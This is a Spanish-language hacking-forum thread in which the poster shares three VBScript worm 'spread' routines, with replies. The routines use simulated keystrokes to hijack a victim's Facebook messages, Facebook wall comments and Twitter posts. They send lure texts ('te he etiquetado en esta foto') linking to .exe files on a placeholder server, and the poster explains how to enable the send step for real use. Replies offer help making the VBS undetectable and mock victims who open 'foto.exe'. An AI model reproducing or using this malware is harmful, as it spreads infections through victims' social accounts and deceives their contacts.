Hola a todos

Como algunos ya habréis visto, estoy retomando mis tiempos mozos de programación. Ando liado desarrollando virus, troyanos y gusanos. Hoy vengo a compartir 3 funciones de Spread que permitirán reproducir una infección vírica usando Facebook (2 métodos) y Twitter (1 método)

El funcionamiento es muy simple. Primero de todo se tienen que dar unas circunstancias para que el "spread" sea efectivo, he realizado pruebas con usuarios reales y me he quedado asombrado con la efectividad de éste "spread". El código se aprovecha de los atajos de teclado que hay en las web's de FB y TW. Eso significa que si cambian los atajos, la función dejará de funcionar... Empecemos con la primera:

Spread usando mensajes personales de Facebook

Primero de todo, os contaré las pulsaciones que ejecuta el script para que las podáis testear en vuestro propio FB, es muy fácil:

1. Entra en www.facebook.com
2. Inicia sesión en tu perfil
3. Pulsa la combinación de teclas: ALT+M
4. Pulsa una tecla (la letra C por ejemplo)
5. Pulsa Enter y Tabulador
6. Escribe un texto y pulsa Enter

Si lo has hecho bien, verás que has enviado un mensaje a un contacto de tu lista de amigos. Pues bien, el script automatiza todas esas acciones en el PC de la víctima:

Set WS = CreateObject("WScript.Shell")
call fb_msg_spread("holaa, te he etiquetado en esta foto http://www.servidor.com/mifoto.exe")
 
Function FB_MSG_Spread(X)
	Randomize
	C = Chr(Int(rnd*26)+97)
 
	WS.run "http://www.facebook.com"
	WScript.Sleep 5000
 
	WS.SendKeys "%m"
	WScript.Sleep 500
 
	For i = 1 to Int(rnd*5)+2
		WS.SendKeys C
		WScript.Sleep 500
		WS.SendKeys "{ENTER}"
	Next
 
	WScript.Sleep 500
	WS.SendKeys "{TAB}"
	WScript.Sleep 500
	WS.SendKeys X
	WScript.Sleep 500
	'WS.SendKeys "{ENTER}"
End Function

Copiad ese código TAL CUAL en un fichero de texto y lo guardáis como VBS. La última linea esta comentada, por lo que no os preocupéis, no se va a mandar ningún mensaje a ningún contacto vuestro.

Ahora ejecutad el fichero y mirar como se reproduce la secuencia de comandos. El script calcula una letra al azar y la utiliza para enviar el mensaje a varios contactos simultaneamente. Para utilizar éste código de forma real, quita el comentario de la última línea y ya tendrás un estupendo spread por Facebook.



Spread usando noticias del muro de Facebook

Éste metodo es parecido al anterior, pero utiliza las teclas J y C para buscar una noticia al azar y enviar el comentario:

Set WS = CreateObject("WScript.Shell")
call fb_txt_spread("ei, creo que te han etiquetado sin tu permiso! http://www.servidor.com/lafoto.exe")
 
Function FB_TXT_Spread(X)
	Randomize
 
	WS.run "http://www.facebook.com"
	WScript.Sleep 5000
 
	For i = 1 to Int(rnd*5)+1
		WS.SendKeys "j"
		WScript.Sleep 800
	Next
 
	WS.SendKeys "c"
	WScript.Sleep 800
	WS.SendKeys X
	WScript.Sleep 500
	'WS.SendKeys "{ENTER}"
	WScript.Sleep 500
	WS.SendKeys "{TAB}"
	WScript.Sleep 500
	WS.SendKeys "{TAB}"
	WScript.Sleep 500
	WS.SendKeys "j"
End Function

De igual modo que en el ejemplo anterior, podéis ejecutar éste script ya que la tecla ENTER está comentada y no hay riesgo. Para utilizar el script en un entorno real, quitad el comentario.



Spread usando un tweet en Twitter

Lo mismo que los anteriores casos, utilizando la tecla M para mandar un tweet:

Set WS = CreateObject("WScript.Shell")
call tw_txt_spread("Acabo de publicar un album de fotos http://www.servidor.com/photo_album.exe")
 
Function TW_TXT_Spread(X)
	Randomize
 
	WS.run "http://www.twitter.com"
	WScript.Sleep 6000
 
	WS.SendKeys "n"
	WScript.Sleep 800
	WS.SendKeys X
	WScript.Sleep 500
	WS.SendKeys "{TAB}"
	WScript.Sleep 500
	'WS.SendKeys "{ENTER}"
End Function

Podéis probar el código, ya que la tecla ENTER también está comentada.

---

Bueno, espero que os haya gustado y que haya quedado clara mi explicación. Insisto, los script que he puesto los podéis probar en vuestro PC, ya que la línea que envía el mensaje a los contactos está deshabilitada con el comentario, así que no hay riesgo.

Saludos!!

Lo has probado? Te ha funcionado? Mañana lo probaré en otras maquinas con SO y web-browsers diferentes a ver si detecto algun bug.

Gracias!

PD: vbs tiene la facilidad de ser fácilmente programable y encriptable, obtienes grandes resultados con solo unos pocos bytes. Yo adoro VB6 y VBS

Jolín hace tiempos que no veia por aqui a Antrax, puff buenos tiempos en que andaba purgando web a ver que escribiay tutos, aún esta tu página me acuerdo que no la conseguia encontrar de las ultimas veces que buscaba, aún tengo algunos pdfs de tus tutos amigo.

Todo un lujo verte de nuevo por aqui, aunque yo más bien aprendi poco eheh me pase a Linux y esas cosillas eheh.

A ver si paso más por aqui a ver si pones material. (droja de la buena ehehe)

HOLA!!!

Me parecio medio chapucero el codigo, aunque en su mayoria funcionan...

El de mensaje no funciona bien en firefox winxp.

el resto andan de diez, aunque podrias haber hecho algo mas en segundo plano.

Si queres tengo un codigo que funciona con winsocks en vbs y anda muy bien y tengo una tactica para hacer "FUD" casi cualquier codigo en VBS.

GRACIAS POR LEER!!!

genial  , es increible que la gente sea tan ingenua de abrir las fotos.exe xD o o la foto.gif.exe